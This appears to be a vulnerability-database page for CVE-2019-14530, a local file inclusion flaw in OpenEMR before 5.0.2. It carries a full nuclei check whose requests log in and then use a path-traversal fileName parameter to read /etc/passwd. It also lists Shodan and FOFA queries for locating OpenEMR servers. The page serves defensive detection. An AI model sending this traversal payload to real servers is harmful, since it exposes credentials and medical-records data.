HexBrain

Browse / CVEs / CVE-2019-14530

CVE-2019-14530· open-emr / openemr· CWE-22

OpenEMR <5.0.2 - Local File Inclusion

highseverity
8.8CVSS score
65.5%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

OpenEMR before 5.0.2 is vulnerable to local file inclusion via the fileName parameter in custom/ajax_download.php. An attacker can download any file (that is readable by the web server user) from server storage. If the requested file is writable for the web server user and the directory /var/www/openemr/sites/default/documents/cqm_qrda/ exists, the file will be deleted from server.

Impact

An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data.

Fix

Upgrade OpenEMR to version 5.0.2 or later to mitigate the LFI vulnerability.

How to confirm it

Send: POST /interface/main/main_screen.php?auth=login&site=default ; GET /custom/ajax_download.php?fileName=../../../../../../../../../etc/passwd
Positive when: contains in header "filename=passwd" AND matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2019-14530 -u <target>

The full check
id: CVE-2019-14530

info:
  name: OpenEMR <5.0.2 - Local File Inclusion
  author: TenBird
  severity: high
  description: |
    OpenEMR before 5.0.2 is vulnerable to local file inclusion via the fileName parameter in custom/ajax_download.php. An attacker can download any file (that is readable by the web server user) from server storage. If the requested file is writable for the web server user and the directory /var/www/openemr/sites/default/documents/cqm_qrda/ exists, the file will be deleted from server.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data.
  remediation: |
    Upgrade OpenEMR to version 5.0.2 or later to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/50037
    - https://github.com/openemr/openemr/archive/refs/tags/v5_0_1_7.zip
    - https://github.com/openemr/openemr/pull/2592
    - https://nvd.nist.gov/vuln/detail/CVE-2019-14530
    - https://github.com/sec-it/exploit-CVE-2019-14530
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2019-14530
    cwe-id: CWE-22
    epss-score: 0.65529
    epss-percentile: 0.99269
    cpe: cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: open-emr
    product: openemr
    shodan-query:
      - http.html:"openemr"
      - http.title:"openemr"
      - http.favicon.hash:1971268439
    fofa-query:
      - icon_hash=1971268439
      - body="openemr"
      - title="openemr"
      - app="openemr"
    google-query: intitle:"openemr"
  tags: cve2019,cve,lfi,authenticated,edb,openemr,open-emr,vuln

http:
  - raw:
      - |
        POST /interface/main/main_screen.php?auth=login&site=default HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        new_login_session_management=1&authProvider=Default&authUser={{username}}&clearPass={{password}}&languageChoice=1
      - |
        GET /custom/ajax_download.php?fileName=../../../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - filename=passwd

      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from